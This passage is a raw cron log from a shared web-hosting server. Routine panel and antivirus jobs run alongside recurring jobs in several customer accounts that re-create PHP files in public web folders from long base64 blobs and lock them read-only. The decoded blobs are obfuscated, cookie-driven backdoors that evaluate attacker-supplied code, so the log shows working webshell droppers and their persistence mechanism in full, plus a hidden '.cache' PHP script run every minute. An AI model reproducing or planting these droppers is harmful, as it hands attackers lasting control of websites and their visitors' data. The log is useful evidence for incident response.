SRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:00:01 medusa CROND[26776]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26790]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:00:01 medusa CROND[26791]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26795]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 19:00:01 medusa CROND[26794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 19:00:01 medusa CROND[26804]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 19:00:01 medusa CROND[26798]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 19:00:01 medusa CROND[26812]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:00:01 medusa CROND[26815]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:00:01 medusa CROND[26814]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 19:00:01 medusa CROND[26809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 19:00:01 medusa CROND[26819]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 19:00:01 medusa CROND[26803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 19:01:01 medusa CROND[19249]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 19:01:01 medusa CROND[19274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:01:01 medusa CROND[19275]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:01:01 medusa CROND[19276]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:01:01 medusa CROND[19277]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 19:01:01 medusa CROND[19278]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:01:01 medusa CROND[19279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:01:01 medusa CROND[19282]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:01:01 medusa CROND[19283]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:01:01 medusa CROND[19286]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 19:01:01 medusa CROND[19287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:01:01 medusa CROND[19288]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:01:01 medusa CROND[19296]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:01:01 medusa CROND[19305]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:01:01 medusa run-parts(/etc/cron.hourly)[19277]: starting 0anacron
Mar  1 19:01:02 medusa run-parts(/etc/cron.hourly)[19626]: finished 0anacron
Mar  1 19:02:01 medusa CROND[11751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 19:02:01 medusa CROND[11823]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 19:02:01 medusa CROND[11824]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:02:01 medusa CROND[11826]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 19:02:01 medusa CROND[11827]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 19:02:01 medusa CROND[11828]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:02:01 medusa CROND[11831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 19:02:01 medusa CROND[11832]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 19:02:01 medusa CROND[11833]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 19:02:01 medusa CROND[11836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 19:02:01 medusa CROND[11837]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 19:02:01 medusa CROND[11843]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 19:02:01 medusa CROND[11844]: (wmondolo) CMD (/usr/local/bin/php -q /home12/wmondolo/public_html/corrector.php > /dev/null)
